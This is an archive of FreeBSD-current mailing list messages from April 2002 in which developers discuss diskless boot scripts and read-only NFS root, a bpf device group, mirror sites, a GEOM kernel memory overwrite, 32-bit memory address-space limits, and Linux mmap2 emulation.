GB of RAM without PAE. > No problem; I think you will have to, if you are planning on > mucking about with more than 4G of physical memory. I have no such plans in the immediate future; at this point the discussion is a curiosity. But with any luck I will already know what's going on by the time I need to worry about tweaking the kernel in bizarre ways. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:21:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 7872B37B43D; Mon, 22 Apr 2002 23:20:00 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 16ztee-0002kl-00; Tue, 23 Apr 2002 09:19:56 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: obrien@FreeBSD.ORG Cc: Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from "David O'Brien" of "Mon, 22 Apr 2002 14:42:17 PDT." <20020422144217.A73087@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 09:19:56 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I'll commit this to rc.diskless1 this will only work if you include the changes to bootp.c > > +if [ -z "`hostname -s`" ]; then > + hostname=`kenv dhcp.host-name` > + hostname $hostname > + echo "Hostname is $hostname" > +fi > > BUT you've missed the point with this point: > +else > + mount_md 4096 /conf/etc 0 > + chkerr $? "MFS mount on /conf/etc" > + mount -t unionfs /conf/etc /etc > + /bin/chmod 755 /etc > + find /etc > /dev/null > + touch /etc/.sentinel > > That being that some of us actually WANT /etc to be left the fsck alone. > We NFS mount / and that / has /etc as it should be. I also cannot follow > what you are trying to do with /etc/conf. Perhaps you could comment that > part? i don't understand what you mean by 'left the fsck alone', but i'll try to explain. / ( and whatever is under it) is NFS mounted read only, as should be. the 'original' solution is to make /etc writable is to mount a MD, then copy all /conf/default/etc to it. my 'solution' is to mount union /etc/conf as the 'writable' part. 1) i don't have to copy - and hence 2) have only one copy of /etc for all my diskless. since the next part of rc.diskless1 copies files specific to the host/cluster, and there are some cases that i want to actually remove a file, i do that in rc.local (configurable via rc.conf.local). thanks for looking into this, danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:24:35 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id DB1B537B41B; Mon, 22 Apr 2002 23:24:06 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 16ztid-0002qm-00; Tue, 23 Apr 2002 09:24:03 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: obrien@FreeBSD.ORG Cc: Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: Message from "David O'Brien" of "Mon, 22 Apr 2002 14:44:51 PDT." <20020422144450.B73087@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 09:24:03 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Mon, Apr 22, 2002 at 10:40:44AM +0300, Danny Braniss wrote: > > Since im very interested in diskless/dataless, and i've been at it for some > > time now, i made some changes to libstand/bootp.c and /etc/rc.diskless1 > > which i wouldn't mind receiving commnets/suggestions, and if possible > > incorporated. > > > > the stuff is in: > > ftp://ftp.cs.huji.ac.il/users/danny/freebsd/diskless-boot/ > > The bootp.c.diff looks like it could be useful; but I see you changed > some stuff related to PXE booting and I cannot easily test that. Maybe > someone else can. if you change #define CLASSID "FreeBSDc" to #define CLASSID "PXEClient" you will get same behaviour as before. the rest is just an addition to put stuff in the environment. danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:25: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id 06DCC37B438 for ; Mon, 22 Apr 2002 23:24:19 -0700 (PDT) Received: from blossom.cjclark.org ([12.234.91.48]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020423062419.VQSY1901.rwcrmhc52.attbi.com@blossom.cjclark.org>; Tue, 23 Apr 2002 06:24:19 +0000 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.6) id g3N6OFS85102; Mon, 22 Apr 2002 23:24:15 -0700 (PDT) (envelope-from cjc) Date: Mon, 22 Apr 2002 23:24:15 -0700 From: "Crist J. Clark" To: Doug White Cc: Lyndon Nerenberg , freebsd-current@FreeBSD.ORG Subject: Re: Adding a 'bpf' group for /dev/bpf* Message-ID: <20020422232415.C84809@blossom.cjclark.org> References: <200204202139.g3KLdEJ80591@orthanc.ab.ca> <20020422111600.G5217-100000@resnet.uoregon.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020422111600.G5217-100000@resnet.uoregon.edu>; from dwhite@resnet.uoregon.edu on Mon, Apr 22, 2002 at 11:16:58AM -0700 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 11:16:58AM -0700, Doug White wrote: > On Sat, 20 Apr 2002, Lyndon Nerenberg wrote: > > > For the benefit of packet sniffers and other things that only want > > read-only access to /dev/bpf*, what do people think of adding a 'bpf' > > group for those programs? This allows bpf devices to be read by > > programs running with an effective gid of 'bpf' instead of the current > > requirement for an effective user of root. I've been running this way > > on many of our servers for several months now, and things like snort, > > tcpdump, etc., are quite happy with it (under stable). > > There's the other small problem that you have to be root to set > promiscuous mode. Nope. Just read access to bpf(4). -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 23:48:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 8CB1A37B417 for ; Mon, 22 Apr 2002 23:48:28 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3N6mIYm053348; Mon, 22 Apr 2002 23:48:18 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3N6l3Tg053325; Mon, 22 Apr 2002 23:47:03 -0700 (PDT) Date: Mon, 22 Apr 2002 23:47:01 -0700 From: "David O'Brien" To: Danny Braniss Cc: Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020422234701.A52794@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Tue, Apr 23, 2002 at 09:19:56AM +0300 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:19:56AM +0300, Danny Braniss wrote: > > That being that some of us actually WANT /etc to be left the fsck alone. > > We NFS mount / and that / has /etc as it should be. I also cannot follow > > what you are trying to do with /etc/conf. Perhaps you could comment that > > part? > > i don't understand what you mean by 'left the fsck alone', but i'll try to > explain. > > / ( and whatever is under it) is NFS mounted read only, as should be. This is where all of us doing Sparc64 development say you are wrong -- / is NFS mounted RW. Back in the SunOS diskless workstations days were this was invented, / was NFS mounted RW. Please stop assuming everyone wants to change from tradition. > the 'original' solution is to make /etc writable is to mount a MD, then copy > all > /conf/default/etc to it. The very original "solution" was to mount NFS / RW. The move to /conf/default/etc was someone's special needs leaking into the FreeBSD repository. If you want to special case, things be my guest -- add an elif test; but leave RW NFS mounted / alone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 1:31:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 3AEEC37B41C for ; Tue, 23 Apr 2002 01:31:55 -0700 (PDT) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id g3N8Vrh21671; Tue, 23 Apr 2002 01:31:53 -0700 Date: Tue, 23 Apr 2002 01:31:53 -0700 From: Brooks Davis To: Justin Heath Cc: current@FreeBSD.ORG Subject: Re: Status on ftp servers? Message-ID: <20020423013151.A1503@Odin.AC.HMC.Edu> References: <5.1.0.14.2.20020423010541.024a3cc8@mail.theplanet.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="T4sUOijqQbZv57TR" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <5.1.0.14.2.20020423010541.024a3cc8@mail.theplanet.com>; from justinh@theplanet.com on Tue, Apr 23, 2002 at 01:11:14AM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --T4sUOijqQbZv57TR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 23, 2002 at 01:11:14AM -0500, Justin Heath wrote: > Any word on when current.freebsd.org or releng4.freebsd.org will be=20 > available again? I noticed some discussion of this dating back to Februar= y=20 > but did not see a final date. If it is still going to be down for a while= =20 > anyone know of an alternative site? Thanks. snapshots.jp.freebsd.org -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --T4sUOijqQbZv57TR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8xRv2XY6L6fI4GtQRAs2rAKDnw9yPMYtLnkgYzKn4vie0N0lZFgCgsuKV 46emP1UJpsCWVoqmMO4a7ss= =Kmq5 -----END PGP SIGNATURE----- --T4sUOijqQbZv57TR-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 1:39:14 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail1.theplanet.com (mail1.theplanet.com [216.234.234.32]) by hub.freebsd.org (Postfix) with ESMTP id 2E11237B419 for ; Tue, 23 Apr 2002 01:39:10 -0700 (PDT) Received: from jheath.theplanet.com (jheath.theplanet.com [216.185.111.7] (may be forged)) by mail1.theplanet.com (8.9.3/8.9.3) with ESMTP id DAA35381; Tue, 23 Apr 2002 03:39:02 -0500 (CDT) Message-Id: <5.1.0.14.2.20020423033801.024ba848@mail.theplanet.com> X-Sender: justinh@mail.theplanet.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 23 Apr 2002 03:38:19 -0500 To: Brooks Davis From: Justin Heath Subject: Re: Status on ftp servers? Cc: current@FreeBSD.ORG In-Reply-To: <20020423013151.A1503@Odin.AC.HMC.Edu> References: <5.1.0.14.2.20020423010541.024a3cc8@mail.theplanet.com> <5.1.0.14.2.20020423010541.024a3cc8@mail.theplanet.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks. At 01:31 AM 4/23/2002 -0700, Brooks Davis wrote: >On Tue, Apr 23, 2002 at 01:11:14AM -0500, Justin Heath wrote: > > Any word on when current.freebsd.org or releng4.freebsd.org will be > > available again? I noticed some discussion of this dating back to February > > but did not see a final date. If it is still going to be down for a while > > anyone know of an alternative site? Thanks. > >snapshots.jp.freebsd.org > >-- Brooks > >-- >Any statement of the form "X is the one, true Y" is FALSE. >PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 Justin Heath To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 3:39:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 241B837B405; Tue, 23 Apr 2002 03:39:28 -0700 (PDT) Received: from pool0061.cvx21-bradley.dialup.earthlink.net ([209.179.192.61] helo=mindspring.com) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zxhn-0002Ru-00; Tue, 23 Apr 2002 03:39:27 -0700 Message-ID: <3CC539C3.6A1B0281@mindspring.com> Date: Tue, 23 Apr 2002 03:38:59 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: obrien@FreeBSD.ORG Cc: Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting References: <20020422234701.A52794@dragon.nuxi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien wrote: > > / ( and whatever is under it) is NFS mounted read only, as should be. > > This is where all of us doing Sparc64 development say you are wrong -- / > is NFS mounted RW. Back in the SunOS diskless workstations days were > this was invented, / was NFS mounted RW. Please stop assuming everyone > wants to change from tradition. While it's true that this was the case for workstations, where you would end up having 128 workstations and 128 copies of the / directory on the server for the diskless/dataless workstations, I think the R/W mount was out of necesssity, not out of desirability. For most of the work I've done over the past 5/6 years, it's really desirable to have / mounted read-only. > > the 'original' solution is to make /etc writable is to mount a MD, then copy > > all > > /conf/default/etc to it. > > The very original "solution" was to mount NFS / RW. The move to > /conf/default/etc was someone's special needs leaking into the FreeBSD > repository. If you want to special case, things be my guest -- add an > elif test; but leave RW NFS mounted / alone. This isn't just about NFS... it's also about Fash devices, which are only warranteed for a limited number of writes, which mounting R/W would really eat into, and it's for read-only media, like in the "ClosedBSD" and "PicoBSD" FreeBSD based firewalls, I think. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 4:54:44 2002 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 7DDD837B400; Tue, 23 Apr 2002 04:54:33 -0700 (PDT) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.12.2/8.12.2) with ESMTP id g3NBsHHx082147; Tue, 23 Apr 2002 13:54:18 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Memory overwrite problem in the -current kernel ?? In-Reply-To: Your message of "Tue, 23 Apr 2002 04:48:46 PDT." <200204231148.g3NBmkp36899@freefall.freebsd.org> Date: Tue, 23 Apr 2002 13:54:17 +0200 Message-ID: <82146.1019562857@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This commit detects a memory overwrite problem in the kernel which happens before we ever get into userland for the first time. The commit which causes the problem to appear is my own commit to subr_disklabel.c (1.65). If the block below is put back in subr_disklabel.c the memory overwrite problem goes away (or at least doesn't happen in GEOM). My testbox is a single-cpu machine. Something is screwed somewhere... Poul-Henning ] #ifdef notquite ] /* ] * Mutex to use when delaying niced I/O bound processes in bioqdisksort(). ] */ ] static struct mtx dksort_mtx; ] static void ] dksort_init(void) ] { ] ] mtx_init(&dksort_mtx, "dksort", NULL, MTX_DEF); ] } ] SYSINIT(dksort, SI_SUB_DRIVERS, SI_ORDER_MIDDLE, dksort_init, NULL) ] #endif In message <200204231148.g3NBmkp36899@freefall.freebsd.org>, Poul-Henning Kamp writes: >phk 2002/04/23 04:48:45 PDT > > Modified files: > sys/geom geom.h geom_dump.c geom_enc.c > geom_slice.c geom_subr.c > Log: > Introduce some serious paranoia to try to catch a memory overwrite problem > as early as possible. > > Sponsored by: DARPA & NAI Labs > > Revision Changes Path > 1.13 +13 -4 src/sys/geom/geom.h > 1.7 +1 -0 src/sys/geom/geom_dump.c > 1.3 +1 -0 src/sys/geom/geom_enc.c > 1.11 +2 -0 src/sys/geom/geom_slice.c > 1.8 +46 -2 src/sys/geom/geom_subr.c > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 5:45:14 2002 Delivered-To: freebsd-current@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id CEEC337B404; Tue, 23 Apr 2002 05:44:55 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 37602103335; Tue, 23 Apr 2002 09:44:51 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id C867210332E; Tue, 23 Apr 2002 09:44:50 -0300 (ADT) Date: Tue, 23 Apr 2002 09:44:50 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC4C683.F9AEF14E@mindspring.com> Message-ID: <20020423092909.N1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > First, alot of this stuff is slowly sinking in ... after repeatedly > > reading it and waiting for the headache to disapate:) > > > > But, one thing that I'm still not clear on ... > > > > If I have 4Gig of RAM in a server, does it make any sense to have swap > > space on that server also? > > Yes. But it (mostly) does not apply to KVA, only to UVA data, > and there are much larger KVA requirements, so the more RAM you > have, the bigger the bottleneck to user space for anything you > swap. Okay ... to me, a bottleneck generally means slowdown ... so the more RAM I have, the slower the system will perform? > > Again, from what I'm reading, I have a total of 4Gig *aggregate* to > > work with, between RAM and swap, but its right here that I'm confused > > right now ... basically, the closer to 4Gig of RAM you get, the closer > > to 0 of swap you can have? > > No. > > I think you are getting confused on cardinality. You get one KVA, but > you get an arbitrary number of UVA's, until you run out of physical RAM > to make new ones. > > You have 4G aggregate KVA + UVA. > > So if your KVA is 3G, and your UVA is 1G, then you can have 1 3G > KVA, and 1000 1G UVA's. Okay, first question here ... above you say 'arbitrary number of UVAs', but here you state 1000 ... just a number picked out of the air, or is this some fixed limit? > Certain aspects of KVA are non-swappable. Some parts of UVA are > swappable in theory, but never swapped in practice (the page > tables and descriptors for each user process). > > The closer to 4G you have, the more physical RAM you have to spend > on managing the physical RAM. > > The total amount of physical RAM you have to spend on managing > memory is based on the total physical RAM plus the total swap. Okay, this makes sense ... I notice in 4.5-STABLE that if maxusers is set to 0, then the system will auto-tune based on memory ... is this something that also is auto-tuned? > As soon as that number exceeds ~2.5G, you can't do it on a 32 > bit processor any more, unless you hack FreeBSD to swap the > VM housekeeping data it uses for swapping UVA contents. Okay, now here you lost me ... which number exceeds ~2.5G? The "total amount of physical RAM you have to spend"? > Think of physical RAM as a resource. It's seperate from the > KVA and UVA, but the KVA has to have physical references to > do paged memory management. You are limited by how many of > these you can have in physical RAM, total. Okay ... alot of lights came on simultaneously with this email ... some of those lights, mind you, might be false, but its a start ... If I'm understanding this at all ... the KVA (among other things) is a pre-allocated/reserved section of RAM for managing the UVAs ... simplistically, it maintains the "process list" and all resources associated with it ... I realize it does do alot of other things, but this is what I'm more focused on right now ... Now, what exactly is a UVA? You state above '1000 1G UVAs' ... is one process == 1 UVA? Or is one user (with all its associated processes) == 1 UVA? Next, again, if I'm reading this right ... if I set my KVA to 3G, when the system boots, it will reserve 3G of *physical* RAM for the kernel itself, correct? So on a 4G machine, 1G of *physical* RAM will be available for UVAs ... so, if I run >1G worth of processes, that is where swapping to disk comes in, right? Other then the massive performance hit, and the limit you mention about some parts of UVA not being swappable, I could theoretically have >4G of swap to page out to? Is there a reason why this stuff isn't auto-scaled based on RAM as it is? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 7:53:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id AF0C337B41E for ; Tue, 23 Apr 2002 07:53:09 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3NEr3Ym075197; Tue, 23 Apr 2002 07:53:03 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3NEpm64075188; Tue, 23 Apr 2002 07:51:48 -0700 (PDT) Date: Tue, 23 Apr 2002 07:51:48 -0700 From: "David O'Brien" To: Terry Lambert Cc: Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020423075148.I52794@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <20020422234701.A52794@dragon.nuxi.com> <3CC539C3.6A1B0281@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CC539C3.6A1B0281@mindspring.com>; from tlambert2@mindspring.com on Tue, Apr 23, 2002 at 03:38:59AM -0700 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 03:38:59AM -0700, Terry Lambert wrote: > > > the 'original' solution is to make /etc writable is to mount a MD, then copy > > > all > > > /conf/default/etc to it. > > > > The very original "solution" was to mount NFS / RW. The move to > > /conf/default/etc was someone's special needs leaking into the FreeBSD > > repository. If you want to special case, things be my guest -- add an > > elif test; but leave RW NFS mounted / alone. > > This isn't just about NFS... it's also about Fash devices, which > are only warranteed for a limited number of writes, which mounting > R/W would really eat into, and it's for read-only media, like in > the "ClosedBSD" and "PicoBSD" FreeBSD based firewalls, I think. As I said Terry, change the patch to not take away RW /. Add an elif check, add a `readonly_root' rc.conf knob, etc... But people should stop assuming everyone wants their special needs and local weirdness. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 8:10: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 3017C37B400 for ; Tue, 23 Apr 2002 08:09:56 -0700 (PDT) Received: (qmail 29197 invoked from network); 23 Apr 2002 15:09:35 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 23 Apr 2002 15:09:35 -0000 Date: Tue, 23 Apr 2002 11:09:35 -0400 (EDT) From: Kenneth Culver To: Andrew Gallatin Cc: freebsd-hackers@freebsd.org, Subject: Re: implementing linux mmap2 syscall In-Reply-To: <15557.30571.834026.208654@grasshopper.cs.duke.edu> Message-ID: <20020423110747.C29188-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > > > Basically, linux_mmap2 takes 6 args, and this looks here like only 5 args are > > > > making it in... I checked this because the sixth argument to linux_mmap2() in > > > > truss was showing 0x6, but when I printed out that arg from the kernel, it > > > > was showing 0x0. Am I correct here? > > > > > > > > Ken > > > > > > Yes. According to http://john.fremlin.de/linux/asm/, linux used to > > > parse only 5 args but now it parses six. Try adding: > > > args[5] = tf->tf_ebp; > > > > > I don't think that arg is there: > > > > Apr 23 10:36:13 ken /kernel: tf->tf_ebp = -1077938040 > > > > Ken > > My guess is that we're not doing something we should be doing in > int0x80_syscall in order to get that last arg. But I do not have > enough x86 knowledge to understand how the trapframe is constructed, > so I cannot tell what needs to be done. > > Perhaps somebody with more x86 fu can help. > > Sorry, Crap, I don't know what's going on either, I was just looking at the asm in src/sys/i386/i386/exception.s, but I'm not very good with asm either, Can anyone help? I'm cross-posting to -current since nobody on hackers or emulation is able to help. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 9:20:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id C050337B421; Tue, 23 Apr 2002 09:20:10 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3NGJxw88619; Tue, 23 Apr 2002 12:19:59 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Tue, 23 Apr 2002 12:19:58 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: "David O'Brien" Cc: Terry Lambert , Danny Braniss , Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting In-Reply-To: <20020423075148.I52794@dragon.nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, David O'Brien wrote: > On Tue, Apr 23, 2002 at 03:38:59AM -0700, Terry Lambert wrote: > > > > the 'original' solution is to make /etc writable is to mount a MD, then copy > > > > all > > > > /conf/default/etc to it. > > > > > > The very original "solution" was to mount NFS / RW. The move to > > > /conf/default/etc was someone's special needs leaking into the FreeBSD > > > repository. If you want to special case, things be my guest -- add an > > > elif test; but leave RW NFS mounted / alone. > > > > This isn't just about NFS... it's also about Fash devices, which > > are only warranteed for a limited number of writes, which mounting > > R/W would really eat into, and it's for read-only media, like in > > the "ClosedBSD" and "PicoBSD" FreeBSD based firewalls, I think. > > As I said Terry, change the patch to not take away RW /. Add an elif > check, add a `readonly_root' rc.conf knob, etc... But people should > stop assuming everyone wants their special needs and local weirdness. So personally I do use the read/only version, since it improves the scalability (and sanity) of the diskless environment by preventing leakage from workstations onto the server except in specifically supported ways. That said, I'd prefer a simpler "default" setting. A series of rc.conf settings would make the most sense to me-- diskless_root_readonly="NO" # Make it "YES" for readonly diskless_etc_localmd="NO" # Make it "YES" to have the # diskless environment md-mount and replicate /etc from /conf diskless_var_localmd="NO" # Make it "YES" to have the # diskless environment md-mount /var and populate it from skeleton files This would provide full compatibility with the current model for those that want it (and I think it's more people than you think) at the same time as changing the system to provide easy support for the environment you're looking for. If the default settings are changing, it should be a "5.0 feature" not a "4.x feature". Robert N M Watson 